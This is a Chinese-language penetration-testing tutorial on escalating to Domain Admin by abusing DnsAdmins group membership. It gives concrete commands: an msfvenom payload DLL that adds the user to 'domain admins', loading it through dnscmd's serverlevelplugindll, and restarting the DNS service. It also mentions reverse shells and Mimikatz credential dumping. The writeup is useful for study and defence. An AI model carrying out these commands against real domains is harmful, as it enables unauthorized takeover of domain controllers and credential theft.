DNSAdmin提权

DNSAdmin提权

Adil 0 2023-12-11

一、简介

DnsAdmins组的成员可以访问网络上的 DNS 信息。Windows DNS 服务支持自定义插件,并可以从中调用函数来解析不在任何本地托管 DNS 区域范围内的名称查询。DNS 服务作为 运行NT AUTHORITY\SYSTEM,因此该组中的成员资格可能会被用来提升域控制器上的权限,或者在单独的服务器充当域的 DNS 服务器的情况下。可以使用内置的dnscmd实用程序来指定插件 DLL 的路径。

DNS 在域控制器上运行时,可以执行以下攻击(这很常见):

  • DNS 管理通过 RPC 执行
  • 当组成员DnsAdmins运行dnscmd以下命令时,HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll注册表项将被填充
  • DNS服务重新启动时,该路径中的DLL将被加载(即域控制器的机器帐户可以访问的网络共享)
  • 攻击者可以加载自定义 DLL 来获取反向shell,甚至加载Mimikatz 等工具作为DLL来转储凭据。

二、信息收集

  • 查看账户详情
    • net user <username>

image-20231211131221371

  • 查看服务信息
    • sc qc <servicename>

image-20231211131605297

  • 通过权限审计工具查看服务的操作权限
    • 获取用户SID:whoami /user
    • 查询服务权限:sc sdshow dns
    • 这里的RPWP所对应的权限为启动服务和关闭服务的权限

image-20231211133418885

三、攻击提权

  • 系统加载DNSAdmin身份
    • Get-ADGroupMember -Identity DnsAdmins
    • 注:这一步一定需要在攻击的初始阶段开始,否则后续加载DLL时将会失败

image-20231211134452173

  • 生成恶意DLL
    • msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
    • 注:这里使用了WSL-Kali

image-20231211134043339

  • 注入恶意DLL
    • dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
    • ServerLevelPluginDll允许我们加载自定义 DLL,并对 DLL 路径进行零验证。dnscmd这可以使用命令行工具来完成
    • 注-1:必须指定自定义 DLL 的完整路径,否则攻击将无法正常工作。
    • 注-2:本阶段只是注入DLL,后面还需要重启DNS服务才能完全加载
    • 注-3:dnscmd.exe可以由dnsadmin组中的成员执行,其余账户默认无法执行

image-20231211134804885

  • 系统加载恶意DLL
    • DNS服务重启即可
    • 关闭服务:sc stop dns
    • 开启服务:sc start dns

四、攻击结果

  • 成功将账户提升为域管账户
    • 注意:账户的突然提权,可能需要账户先注销,而后让系统重新加载账户信息才能完成。
    • 在利用DNSAdmin提权的过程中,未注销登录前,通过命令行查看还是普通权限,重新登录后即取得了管理权限。

image-20231211135553400